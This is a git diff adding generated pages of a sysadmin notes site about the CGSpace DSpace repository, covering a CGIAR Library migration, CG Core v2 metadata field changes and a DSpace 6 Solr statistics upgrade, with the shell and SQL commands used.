    • +
+
Caused by: org.apache.tomcat.jdbc.pool.PoolExhaustedException: [http-bio-127.0.0.1-8443-exec-980] Timeout: Pool empty. Unable to fetch a connection in 5 seconds, none available[size:50; busy:50; idle:0; lastwait:5000].
+
    +
  • Ah hah! So the pool was actually empty!
    • +
  • I need to increase that, let’s try to bump it up from 50 to 75
    • +
  • After that one client got an HTTP 499 but then the rest were HTTP 200, so I don’t know what the hell Uptime Robot saw
    • +
  • I notice this error quite a few times in dspace.log:
    • +
+
2018-01-02 01:21:19,137 ERROR org.dspace.app.xmlui.aspect.discovery.SidebarFacetsTransformer @ Error while searching for sidebar facets
+org.dspace.discovery.SearchServiceException: org.apache.solr.search.SyntaxError: Cannot parse 'dateIssued_keyword:[1976+TO+1979]': Encountered " "]" "] "" at line 1, column 32.
+
    +
  • And there are many of these errors every day for the past month:
    • +
+
$ grep -c "Error while searching for sidebar facets" dspace.log.*
+dspace.log.2017-11-21:4
+dspace.log.2017-11-22:1
+dspace.log.2017-11-23:4
+dspace.log.2017-11-24:11
+dspace.log.2017-11-25:0
+dspace.log.2017-11-26:1
+dspace.log.2017-11-27:7
+dspace.log.2017-11-28:21
+dspace.log.2017-11-29:31
+dspace.log.2017-11-30:15
+dspace.log.2017-12-01:15
+dspace.log.2017-12-02:20
+dspace.log.2017-12-03:38
+dspace.log.2017-12-04:65
+dspace.log.2017-12-05:43
+dspace.log.2017-12-06:72
+dspace.log.2017-12-07:27
+dspace.log.2017-12-08:15
+dspace.log.2017-12-09:29
+dspace.log.2017-12-10:35
+dspace.log.2017-12-11:20
+dspace.log.2017-12-12:44
+dspace.log.2017-12-13:36
+dspace.log.2017-12-14:59
+dspace.log.2017-12-15:104
+dspace.log.2017-12-16:53
+dspace.log.2017-12-17:66
+dspace.log.2017-12-18:83
+dspace.log.2017-12-19:101
+dspace.log.2017-12-20:74
+dspace.log.2017-12-21:55
+dspace.log.2017-12-22:66
+dspace.log.2017-12-23:50
+dspace.log.2017-12-24:85
+dspace.log.2017-12-25:62
+dspace.log.2017-12-26:49
+dspace.log.2017-12-27:30
+dspace.log.2017-12-28:54
+dspace.log.2017-12-29:68
+dspace.log.2017-12-30:89
+dspace.log.2017-12-31:53
+dspace.log.2018-01-01:45
+dspace.log.2018-01-02:34
+
    +
  • Danny wrote to ask for help renewing the wildcard ilri.org certificate and I advised that we should probably use Let’s Encrypt if it’s just a handful of domains
    • +
+ Read more → +
+ + + + + + +
+
+

December, 2017

+

by Alan Orth in + Notes + + +

+
+

2017-12-01

+
    +
  • Uptime Robot noticed that CGSpace went down
    • +
  • The logs say “Timeout waiting for idle object”
    • +
  • PostgreSQL activity says there are 115 connections currently
    • +
  • The list of connections to XMLUI and REST API for today:
    • +
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/categories/notes/page/8/index.html b/docs/categories/notes/page/8/index.html new file mode 100644 index 000000000..0c489ffc4 --- /dev/null +++ b/docs/categories/notes/page/8/index.html @@ -0,0 +1,237 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + +
+
+

November, 2017

+

by Alan Orth in + Notes + + +

+
+

2017-11-01

+
    +
  • The CORE developers responded to say they are looking into their bot not respecting our robots.txt
    • +
+

2017-11-02

+
    +
  • Today there have been no hits by CORE and no alerts from Linode (coincidence?)
    • +
+
# grep -c "CORE" /var/log/nginx/access.log
+0
+
    +
  • Generate list of authors on CGSpace for Peter to go through and correct:
    • +
+
dspace=# \copy (select distinct text_value, count(*) as count from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'author') AND resource_type_id = 2 group by text_value order by count desc) to /tmp/authors.csv with csv;
+COPY 54701
+
+ Read more → +
+ + + + + + +
+
+

October, 2017

+

by Alan Orth in + Notes + + +

+
+

2017-10-01

+ +
http://hdl.handle.net/10568/78495||http://hdl.handle.net/10568/79336
+
    +
  • There appears to be a pattern but I’ll have to look a bit closer and try to clean them up automatically, either in SQL or in OpenRefine
    • +
  • Add Katherine Lutz to the groups for content submission and edit steps of the CGIAR System collections
    • +
+ Read more → +
+ + + + + + +
+
+

CGIAR Library Migration

+

by Alan Orth in + Notes + + +  + +

+
+

Rough notes for importing the CGIAR Library content. It was decided that this content would go to a new top-level community called CGIAR System Organization.

+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/categories/page/1/index.html b/docs/categories/page/1/index.html new file mode 100644 index 000000000..7cf6bb00c --- /dev/null +++ b/docs/categories/page/1/index.html @@ -0,0 +1,10 @@ + + + + https://alanorth.github.io/cgspace-notes/categories/ + + + + + + diff --git a/docs/cgiar-library-migration/index.html b/docs/cgiar-library-migration/index.html new file mode 100644 index 000000000..65d912cfd --- /dev/null +++ b/docs/cgiar-library-migration/index.html @@ -0,0 +1,336 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGIAR Library Migration | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

CGIAR Library Migration

+

+ + in + Notes + + +  + +

+
+

Rough notes for importing the CGIAR Library content. It was decided that this content would go to a new top-level community called CGIAR System Organization.

+

Pre-migration Technical TODOs

+

Things that need to happen before the migration:

+
    +
  • Create top-level community on CGSpace to hold the CGIAR Library content: 10568/83389 +
      +
    • Update nginx redirects in ansible templates
      • +
    • Update handle in DSpace XMLUI config
      • +
    +
    • +
  • Set up nginx redirects for URLs like: + +
    • +
  • Merge #339 to 5_x-prod branch and rebuild DSpace
    • +
  • Increase max_connections in /etc/postgresql/9.5/main/postgresql.conf by ~10 +
      +
    • SELECT * FROM pg_stat_activity; seems to show ~6 extra connections used by the command line tools during import
      • +
    +
    • +
  • Temporarily disable nightly index-discovery cron job because the import process will be taking place during some of this time and I don’t want them to be competing to update the Solr index
    • +
  • Copy HTTPS certificate key pair from CGIAR Library server’s Tomcat keystore:
    • +
+
$ keytool -list -keystore tomcat.keystore
+$ keytool -importkeystore -srckeystore tomcat.keystore -destkeystore library.cgiar.org.p12 -deststoretype PKCS12 -srcalias tomcat
+$ openssl pkcs12 -in library.cgiar.org.p12 -nokeys -out library.cgiar.org.crt.pem
+$ openssl pkcs12 -in library.cgiar.org.p12 -nodes -nocerts -out library.cgiar.org.key.pem
+$ wget https://certs.godaddy.com/repository/gdroot-g2.crt https://certs.godaddy.com/repository/gdig2.crt.pem
+$ cat library.cgiar.org.crt.pem gdig2.crt.pem > library.cgiar.org-chained.pem
+

Migration Process

+

Export all top-level communities and collections from DSpace Test:

+
$ export PATH=$PATH:/home/dspacetest.cgiar.org/bin
+$ dspace packager -d -a -t AIP -e aorth@mjanja.ch -i 10947/2515 10947-2515/10947-2515.zip
+$ dspace packager -d -a -t AIP -e aorth@mjanja.ch -i 10947/2516 10947-2516/10947-2516.zip
+$ dspace packager -d -a -t AIP -e aorth@mjanja.ch -i 10947/2517 10947-2517/10947-2517.zip
+$ dspace packager -d -a -t AIP -e aorth@mjanja.ch -i 10947/2518 10947-2518/10947-2518.zip
+$ dspace packager -d -a -t AIP -e aorth@mjanja.ch -i 10947/2519 10947-2519/10947-2519.zip
+$ dspace packager -d -a -t AIP -e aorth@mjanja.ch -i 10947/2708 10947-2708/10947-2708.zip
+$ dspace packager -d -a -t AIP -e aorth@mjanja.ch -i 10947/2526 10947-2526/10947-2526.zip
+$ dspace packager -d -a -t AIP -e aorth@mjanja.ch -i 10947/2871 10947-2871/10947-2871.zip
+$ dspace packager -d -a -t AIP -e aorth@mjanja.ch -i 10947/2527 10947-2527/10947-2527.zip
+$ dspace packager -d -a -t AIP -e aorth@mjanja.ch -i 10568/93759 10568-93759/10568-93759.zip
+$ dspace packager -d -a -t AIP -e aorth@mjanja.ch -i 10568/93760 10568-93760/10568-93760.zip
+$ dspace packager -d -a -t AIP -e aorth@mjanja.ch -i 10947/1 10947-1/10947-1.zip
+

Import to CGSpace (also see notes from 2017-05-10):

+
    +
  • Copy all exports from DSpace Test
    • +
  • Add ingestion overrides to dspace.cfg before import:
    • +
+
mets.dspaceAIP.ingest.crosswalk.METSRIGHTS = NIL
+mets.dspaceAIP.ingest.crosswalk.DSPACE-ROLES = NIL
+
    +
  • Import communities and collections, paying attention to options to skip missing parents and ignore handles:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx3072m -XX:-UseGCOverheadLimit -XX:+TieredCompilation -XX:TieredStopAtLevel=1"
+$ export PATH=$PATH:/home/cgspace.cgiar.org/bin
+$ dspace packager -r -u -a -t AIP -o skipIfParentMissing=true -e aorth@mjanja.ch -p 10568/83389 10947-2515/10947-2515.zip
+$ dspace packager -r -u -a -t AIP -o skipIfParentMissing=true -e aorth@mjanja.ch -p 10568/83389 10947-2516/10947-2516.zip
+$ dspace packager -r -u -a -t AIP -o skipIfParentMissing=true -e aorth@mjanja.ch -p 10568/83389 10947-2517/10947-2517.zip
+$ dspace packager -r -u -a -t AIP -o skipIfParentMissing=true -e aorth@mjanja.ch -p 10568/83389 10947-2518/10947-2518.zip
+$ dspace packager -r -u -a -t AIP -o skipIfParentMissing=true -e aorth@mjanja.ch -p 10568/83389 10947-2519/10947-2519.zip
+$ dspace packager -r -u -a -t AIP -o skipIfParentMissing=true -e aorth@mjanja.ch -p 10568/83389 10947-2708/10947-2708.zip
+$ dspace packager -r -u -a -t AIP -o skipIfParentMissing=true -e aorth@mjanja.ch -p 10568/83389 10947-2526/10947-2526.zip
+$ dspace packager -r -u -a -t AIP -o skipIfParentMissing=true -e aorth@mjanja.ch -p 10568/83389 10947-2871/10947-2871.zip
+$ dspace packager -r -u -a -t AIP -o skipIfParentMissing=true -e aorth@mjanja.ch -p 10568/83389 10947-4467/10947-4467.zip
+$ dspace packager -s -u -t AIP -o ignoreHandle=false -e aorth@mjanja.ch -p 10568/83389 10947-2527/10947-2527.zip
+$ for item in 10947-2527/ITEM@10947-*; do dspace packager -r -f -u -t AIP -e aorth@mjanja.ch $item; done
+$ dspace packager -s -t AIP -o ignoreHandle=false -e aorth@mjanja.ch -p 10568/83389 10947-1/10947-1.zip
+$ for collection in 10947-1/COLLECTION@10947-*; do dspace packager -s -o ignoreHandle=false -t AIP -e aorth@mjanja.ch -p 10947/1 $collection; done
+$ for item in 10947-1/ITEM@10947-*; do dspace packager -r -f -u -t AIP -e aorth@mjanja.ch $item; done
+

This submits AIP hierarchies recursively (-r) and suppresses errors when an item’s parent collection hasn’t been created yet—for example, if the item is mapped. The large historic archive (10947/1) is created in several steps because it requires a lot of memory and often crashes.

+

Create new subcommunities and collections for content we reorganized into new hierarchies from the original:

+
    +
  • Create CGIAR System Management Board sub-community: 10568/83536 +
      +
    • Content from CGIAR System Management Board documents collection (10947/4561) goes here
      • +
    • Import collection hierarchy first and then the items:
      • +
    +
    • +
+
$ dspace packager -r -t AIP -o ignoreHandle=false -e aorth@mjanja.ch -p 10568/83536 10568-93760/COLLECTION@10947-4651.zip
+$ for item in 10568-93760/ITEM@10947-465*; do dspace packager -r -f -u -t AIP -e aorth@mjanja.ch $item; done
+
    +
  • Create CGIAR System Management Office sub-community: 10568/83537 +
      +
    • Create CGIAR System Management Office documents collection: 10568/83538
      • +
    • Import items to collection individually in replace mode (-r) while explicitly preserving handles and ignoring parents:
      • +
    +
    • +
+
$ for item in 10568-93759/ITEM@10947-46*; do dspace packager -r -t AIP -o ignoreHandle=false -o ignoreParent=true -e aorth@mjanja.ch -p 10568/83538 $item; done
+

Get the handles for the last few items from CGIAR Library that were created since we did the migration to DSpace Test in May:

+
dspace=# select handle from item, handle where handle.resource_id = item.item_id AND item.item_id in (select item_id from metadatavalue where metadata_field_id=11 and date(text_value) > '2017-05-01T00:00:00Z');
+
    +
  • Export them from the CGIAR Library:
    • +
+
# for handle in 10947/4658 10947/4659 10947/4660 10947/4661 10947/4665 10947/4664 10947/4666 10947/4669; do /usr/local/dspace/bin/dspace packager -d -a -t AIP -e m.marus@cgiar.org -i $handle ${handle}.zip; done
+
    +
  • Import on CGSpace:
    • +
+
$ for item in 10947-latest/*.zip; do dspace packager -r -u -t AIP -e aorth@mjanja.ch $item; done
+

Post Migration

+
    +
  • Shut down Tomcat and run update-sequences.sql as the system’s postgres user
    • +
  • Remove ingestion overrides from dspace.cfg
    • +
  • Reset PostgreSQL max_connections to 183
    • +
  • Enable nightly index-discovery cron job
    • +
  • Adjust CGSpace’s handle-server/config.dct to add the new prefix alongside our existing 10568, ie:
    • +
+
"server_admins" = (
+"300:0.NA/10568"
+"300:0.NA/10947"
+)
+
+"replication_admins" = (
+"300:0.NA/10568"
+"300:0.NA/10947"
+)
+
+"backup_admins" = (
+"300:0.NA/10568"
+"300:0.NA/10947"
+)
+

I had been regenerated the sitebndl.zip file on the CGIAR Library server and sent it to the Handle.net admins but they said that there were mismatches between the public and private keys, which I suspect is due to make-handle-config not being very flexible. After discussing our scenario with the Handle.net admins they said we actually don’t need to send an updated sitebndl.zip for this type of change, and the above config.dct edits are all that is required. I guess they just did something on their end by setting the authoritative IP address for the 10947 prefix to be the same as ours…

+
    +
  • Update DNS records: +
      +
    • CNAME: cgspace.cgiar.org
      • +
    +
    • +
  • Re-deploy DSpace from freshly built 5_x-prod branch
    • +
  • Merge cgiar-library branch to master and re-run ansible nginx templates
    • +
  • Run system updates and reboot server
    • +
  • Switch to Let’s Encrypt HTTPS certificates (after DNS is updated and server isn’t busy):
    • +
+
$ sudo systemctl stop nginx
+$ /opt/certbot-auto certonly --standalone -d library.cgiar.org
+$ sudo systemctl start nginx
+

Troubleshooting

+

Foreign Key Error in dspace cleanup

+

The cleanup script is sometimes used during import processes to clean the database and assetstore after failed AIP imports. If you see the following error with dspace cleanup -v:

+
Error: ERROR: update or delete on table "bitstream" violates foreign key constraint "bundle_primary_bitstream_id_fkey" on table "bundle"                                                                                                                       
+  Detail: Key (bitstream_id)=(119841) is still referenced from table "bundle".
+

The solution is to set the primary_bitstream_id to NULL in PostgreSQL:

+
dspace=# update bundle set primary_bitstream_id=NULL where primary_bitstream_id in (119841);
+

PSQLException During AIP Ingest

+

After a few rounds of ingesting—possibly with failures—you might end up with inconsistent IDs in the database. In this case, during AIP ingest of a single collection in submit mode (-s):

+
org.dspace.content.packager.PackageValidationException: Exception while ingesting 10947-2527/10947-2527.zip, Reason: org.postgresql.util.PSQLException: ERROR: duplicate key value violates unique constraint "handle_pkey"                                    
+  Detail: Key (handle_id)=(86227) already exists.
+

The normal solution is to run the update-sequences.sql script (with Tomcat shut down) but it doesn’t seem to work in this case. Finding the maximum handle_id and manually updating the sequence seems to work:

+
dspace=# select * from handle where handle_id=(select max(handle_id) from handle);
+dspace=# select setval('handle_seq',86873);
+
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/cgspace-cgcorev2-migration/index.html b/docs/cgspace-cgcorev2-migration/index.html new file mode 100644 index 000000000..e3607f543 --- /dev/null +++ b/docs/cgspace-cgcorev2-migration/index.html @@ -0,0 +1,521 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace CG Core v2 Migration | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

CGSpace CG Core v2 Migration

+

+ + in + Notes + + +  + +

+
+

Changes to CGSpace metadata fields to align more with DC, QDC, and DCTERMS as well as CG Core v2. Implemented on 2021-02-21.

+

With reference to CG Core v2 draft standard by Marie-Angélique as well as DCMI DCTERMS.

+ +

Proposed Changes

+

As of 2021-01-18 the scope of the changes includes the following fields:

+
    +
  • cg.creator.id→cg.creator.identifier +
      +
    • ORCID identifiers
      • +
    +
    • +
  • dc.format.extent→dcterms.extent
    • +
  • dc.date.issued→dcterms.issued
    • +
  • dc.description.abstract→dcterms.abstract
    • +
  • dc.description→dcterms.description
    • +
  • dc.description.sponsorship→cg.contributor.donor +
      +
    • values from CrossRef or Grid.ac if possible
      • +
    +
    • +
  • dc.description.version→cg.reviewStatus
    • +
  • cg.fulltextstatus→cg.howPublished +
      +
    • CGSpace uses values like “Formally Published” or “Grey Literature”
      • +
    +
    • +
  • dc.identifier.citation→dcterms.bibliographicCitation
    • +
  • cg.identifier.status→dcterms.accessRights +
      +
    • current values are “Open Access” and “Limited Access”
      • +
    • future values are possibly “Open” and “Restricted”?
      • +
    +
    • +
  • dc.language.iso→dcterms.language +
      +
    • current values are ISO 639-1 (aka Alpha 2)
      • +
    • future values are possibly ISO 639-3 (aka Alpha 3)?
      • +
    +
    • +
  • cg.link.reference→dcterms.relation
    • +
  • dc.publisher→dcterms.publisher
    • +
  • dc.relation.ispartofseries will be split into: +
      +
    • series name: dcterms.isPartOf
      • +
    • series number: cg.number
      • +
    +
    • +
  • dc.rights→dcterms.license + +
    • +
  • dc.source→cg.journal
    • +
  • dc.subject→dcterms.subject
    • +
  • dc.type→dcterms.type
    • +
  • dc.identifier.isbn→cg.isbn
    • +
  • dc.identifier.issn→cg.issn
    • +
  • cg.targetaudience→dcterms.audience
    • +
+

Out of Scope

+

The following fields are currently out of the scope of this migration because they are used internally by DSpace 5.x/6.x and would be difficult to change without significant modifications to the core of the code:

+
    +
  • dc.title (IncludePageMeta.java only considers DC when building pageMeta, which we rely on in XMLUI because of XSLT from DRI)
    • +
  • dc.title.alternative
    • +
  • dc.date.available
    • +
  • dc.date.accessioned
    • +
  • dc.identifier.uri (hard coded for Handle assignment upon item submission)
    • +
  • dc.description.provenance
    • +
  • dc.contributor.author (IncludePageMeta.java only considers DC when building pageMeta, which we rely on in XMLUI because of XSLT from DRI)
    • +
+

Fields to Create

+

Make sure the following fields exist:

+
    +
  • cg.creator.identifier (247)
    • +
  • cg.contributor.donor (248)
    • +
  • cg.reviewStatus (249)
    • +
  • cg.howPublished (250)
    • +
  • cg.journal (251)
    • +
  • cg.isbn (252)
    • +
  • cg.issn (253)
    • +
  • cg.volume (254)
    • +
  • cg.number (255)
    • +
  • cg.issue (256)
    • +
+

Fields to delete

+

Fields to delete after migration:

+
    +
  • cg.creator.id
    • +
  • cg.fulltextstatus
    • +
  • cg.identifier.status
    • +
  • cg.link.reference
    • +
  • cg.targetaudience
    • +
+

Implementation Progress

+

Tally of the status of the implementation of the new fields in the CGSpace 6_x-cgcorev2 branch.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Field Namemigrate-fields.shInput FormsXMLUI Themes¹dspace.cfgDiscoveryAtmire ModulesCrosswalks
cg.creator.identifier✓✓✓-✓✓
dcterms.extent✓✓----
dcterms.issued✓✓?✓✓✓
dcterms.abstract✓✓✓✓✓-
dcterms.description✓✓✓✓✓✓
cg.contributor.donor✓✓✓✓✓✓
cg.reviewStatus✓✓✓-✓-
cg.howPublished✓✓----
dcterms.bibliographicCitation✓✓✓--✓
dcterms.accessRights✓✓✓-✓✓
dcterms.language✓✓✓-✓✓
dcterms.relation✓✓✓---
dcterms.publisher✓✓--✓✓
dcterms.isPartOf✓✓-✓✓✓
dcterms.license✓✓✓✓✓✓
cg.journal✓✓--✓✓
dcterms.subject✓✓✓✓✓✓
dcterms.type✓✓✓✓✓✓
cg.isbn✓✓---✓
cg.issn✓✓---✓
dcterms.audience✓✓---✓
+

There are a few things that I need to check once I get a deployment of this code up and running:

+
    +
  • Assess the XSL changes to see if things like not(@qualifier)] still make sense after we move fields from DC to DCTERMS, as some fields will no longer have qualifiers
    • +
  • Do I need to edit crosswalks that we are not using, like MODS?
    • +
  • There is potentially a lot of work in the OAI metadata formats like DIM, METS, and QDC (see dspace/config/crosswalks/oai/*.xsl)
    • +
+
+

¹ Not committed yet because I don’t want to have to make minor adjustments in multiple commits. Re-apply the gauntlet of fixes with the sed script:

+
$ find dspace/modules/xmlui-mirage2/src/main/webapp/themes -iname "*.xsl" -exec sed -i -f ./cgcore-xsl-replacements.sed {} \;
+
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/cgspace-dspace6-upgrade/index.html b/docs/cgspace-dspace6-upgrade/index.html new file mode 100644 index 000000000..0571ce940 --- /dev/null +++ b/docs/cgspace-dspace6-upgrade/index.html @@ -0,0 +1,525 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace DSpace 6 Upgrade | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

CGSpace DSpace 6 Upgrade

+

+ + in + Notes + + +  + +

+
+

Notes about the DSpace 6 upgrade on CGSpace in 2020-11.

+ +

Re-import OAI with clean index

+

After the upgrade is complete, re-index all items into OAI with a clean index:

+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx2048m"
+$ dspace oai -c import
+

The process ran out of memory several times so I had to keep trying again with more JVM heap memory.

+

Processing Solr Statistics With solr-upgrade-statistics-6x

+

After the main upgrade process was finished and DSpace was running I started processing the Solr statistics with solr-upgrade-statistics-6x to migrate all IDs to UUIDs.

+

statistics

+

First process the current year’s statistics core:

+
$ export JAVA_OPTS='-Dfile.encoding=UTF-8 -Xmx2048m'
+$ chrt -b 0 dspace solr-upgrade-statistics-6x -n 2500000 -i statistics
+...
+=================================================================
+        *** Statistics Records with Legacy Id ***
+
+           3,817,407    Bistream View
+           1,693,443    Item View
+             105,974    Collection View
+              62,383    Community View
+             163,192    Community Search
+             162,581    Collection Search
+             470,288    Unexpected Type & Full Site
+        --------------------------------------
+           6,475,268    TOTAL
+=================================================================
+

After several rounds of processing it finished. Here are some statistics about unmigrated documents:

+
    +
  • 227,000: (*:* NOT id:/.{36}/) AND (*:* NOT id:/.+-unmigrated/)
    • +
  • 471,000: id:/.+-unmigrated/
    • +
  • 698,000: *:* NOT id:/.{36}/
    • +
  • Majority are type: 5 (aka SITE, according to Constants.java) so we can purge them:
    • +
+
$ curl -s "http://localhost:8081/solr/statistics/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>*:* NOT id:/.{36}/</query></delete>"
+

statistics-2019

+

Processing the statistics-2019 core:

+
$ chrt -b 0 dspace solr-upgrade-statistics-6x -n 2500000 -i statistics
+...
+=================================================================
+        *** Statistics Records with Legacy Id ***
+
+           5,569,344    Bistream View
+           2,179,105    Item View
+             117,194    Community View
+             104,091    Collection View
+             774,138    Community Search
+             568,347    Collection Search
+           1,482,620    Unexpected Type & Full Site
+        --------------------------------------
+          10,794,839    TOTAL
+=================================================================
+

After several rounds of processing it finished. Here are some statistics about unmigrated documents:

+
    +
  • 2,690,309: (*:* NOT id:/.{36}/) AND (*:* NOT id:/.+-unmigrated/)
    • +
  • 1,494,587: id:/.+-unmigrated/
    • +
  • 4,184,896: *:* NOT id:/.{36}/
    • +
  • 4,172,929 are type: 5 (aka SITE) so we can purge them:
    • +
+
$ curl -s "http://localhost:8081/solr/statistics-2019/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>*:* NOT id:/.{36}/</query></delete>"
+

statistics-2018

+

Processing the statistics-2018 core:

+
$ chrt -b 0 dspace solr-upgrade-statistics-6x -n 2500000 -i statistics-2018
+...
+=================================================================
+        *** Statistics Records with Legacy Id ***
+
+           3,561,532    Bistream View
+           1,129,326    Item View
+              97,401    Community View
+              63,508    Collection View
+             207,827    Community Search
+              43,752    Collection Search
+             457,820    Unexpected Type & Full Site
+        --------------------------------------
+           5,561,166    TOTAL
+=================================================================
+

After some time I got an error about Java heap space so I increased the JVM memory and restarted processing:

+
$ export JAVA_OPTS='-Dfile.encoding=UTF-8 -Xmx4096m'
+$ chrt -b 0 dspace solr-upgrade-statistics-6x -n 2500000 -i statistics-2018
+

Eventually the processing finished. Here are some statistics about unmigrated documents:

+
    +
  • 365,473: (*:* NOT id:/.{36}/) AND (*:* NOT id:/.+-unmigrated/)
    • +
  • 546,955: id:/.+-unmigrated/
    • +
  • 923,158: *:* NOT id:/.{36}/
    • +
  • 823,293: are type: 5 so we can purge them:
    • +
+
$ curl -s "http://localhost:8081/solr/statistics-2018/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>*:* NOT id:/.{36}/</query></delete>"
+

statistics-2017

+

Processing the statistics-2017 core:

+
$ chrt -b 0 dspace solr-upgrade-statistics-6x -n 2500000 -i statistics-2017
+...
+=================================================================
+        *** Statistics Records with Legacy Id ***
+
+           2,529,208    Bistream View
+           1,618,717    Item View
+             144,945    Community View
+              74,249    Collection View
+             479,647    Community Search
+             114,658    Collection Search
+             852,215    Unexpected Type & Full Site
+        --------------------------------------
+           5,813,639    TOTAL
+=================================================================
+

Eventually the processing finished. Here are some statistics about unmigrated documents:

+
    +
  • 808,309: (*:* NOT id:/.{36}/) AND (*:* NOT id:/.+-unmigrated/)
    • +
  • 893,868: id:/.+-unmigrated/
    • +
  • 1,702,177: *:* NOT id:/.{36}/
    • +
  • 1,660,524 are type: 5 (SITE) so we can purge them:
    • +
+
$ curl -s "http://localhost:8081/solr/statistics-2017/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>*:* NOT id:/.{36}/</query></delete>"
+

statistics-2016

+

Processing the statistics-2016 core:

+
$ chrt -b 0 dspace solr-upgrade-statistics-6x -n 2500000 -i statistics-2016
+...
+=================================================================
+        *** Statistics Records with Legacy Id ***
+
+           1,765,924    Bistream View
+           1,151,575    Item View
+             187,110    Community View
+              51,204    Collection View
+             347,382    Community Search
+              66,605    Collection Search
+             620,298    Unexpected Type & Full Site
+        --------------------------------------
+           4,190,098    TOTAL
+=================================================================
+
    +
  • 849,408: (*:* NOT id:/.{36}/) AND (*:* NOT id:/.+-unmigrated/)
    • +
  • 627,747: id:/.+-unmigrated/
    • +
  • 1,477,155: *:* NOT id:/.{36}/
    • +
  • 1,469,706 are type: 5 (SITE) so we can purge them:
    • +
+
$ curl -s "http://localhost:8081/solr/statistics-2016/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>*:* NOT id:/.{36}/</query></delete>"
+

statistics-2015

+

Processing the statistics-2015 core:

+
$ chrt -b 0 dspace solr-upgrade-statistics-6x -n 2500000 -i statistics-2015
+...
+=================================================================
+        *** Statistics Records with Legacy Id ***
+
+             990,916    Bistream View
+             506,070    Item View
+             116,153    Community View
+              33,282    Collection View
+              21,062    Community Search
+              10,788    Collection Search
+              52,107    Unexpected Type & Full Site
+        --------------------------------------
+           1,730,378    TOTAL
+=================================================================
+

Summary of stats after processing:

+
    +
  • 195,293: (*:* NOT id:/.{36}/) AND (*:* NOT id:/.+-unmigrated/)
    • +
  • 67,146: id:/.+-unmigrated/
    • +
  • 262,439: *:* NOT id:/.{36}/
    • +
  • 247,400 are type: 5 (SITE) so we can purge them:
    • +
+
$ curl -s "http://localhost:8081/solr/statistics-2015/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>*:* NOT id:/.{36}/</query></delete>"
+

statistics-2014

+

Processing the statistics-2014 core:

+
$ chrt -b 0 dspace solr-upgrade-statistics-6x -n 2500000 -i statistics-2014
+...
+=================================================================
+        *** Statistics Records with Legacy Id ***
+
+           2,381,603    Item View
+           1,323,357    Bistream View
+             501,545    Community View
+             247,805    Collection View
+                 250    Collection Search
+                 188    Community Search
+                  50    Item Search
+              10,918    Unexpected Type & Full Site
+        --------------------------------------
+           4,465,716    TOTAL
+=================================================================
+

Summary of unmigrated documents after processing:

+
    +
  • 182,131: (*:* NOT id:/.{36}/) AND (*:* NOT id:/.+-unmigrated/)
    • +
  • 39,947: id:/.+-unmigrated/
    • +
  • 222,078: *:* NOT id:/.{36}/
    • +
  • 188,791 are type: 5 (SITE) so we can purge them:
    • +
+
$ curl -s "http://localhost:8081/solr/statistics-2014/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>*:* NOT id:/.{36}/</query></delete>"
+

statistics-2013

+

Processing the statistics-2013 core:

+
$ chrt -b 0 dspace solr-upgrade-statistics-6x -n 2500000 -i statistics-2013
+...
+=================================================================
+        *** Statistics Records with Legacy Id ***
+
+           2,352,124    Item View
+           1,117,676    Bistream View
+             575,711    Community View
+             171,639    Collection View
+                 248    Item Search
+                   7    Collection Search
+                   5    Community Search
+               1,452    Unexpected Type & Full Site
+        --------------------------------------
+           4,218,862    TOTAL
+=================================================================
+

Summary of unmigrated docs after processing:

+
    +
  • 2,548 : (*:* NOT id:/.{36}/) AND (*:* NOT id:/.+-unmigrated/)
    • +
  • 29,772: id:/.+-unmigrated/
    • +
  • 32,320: *:* NOT id:/.{36}/
    • +
  • 15,691 are type: 5 (SITE) so we can purge them:
    • +
+
$ curl -s "http://localhost:8081/solr/statistics-2013/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>*:* NOT id:/.{36}/</query></delete>"
+

statistics-2012

+

Processing the statistics-2012 core:

+
$ chrt -b 0 dspace solr-upgrade-statistics-6x -n 2500000 -i statistics-2012
+...
+=================================================================
+        *** Statistics Records with Legacy Id ***
+
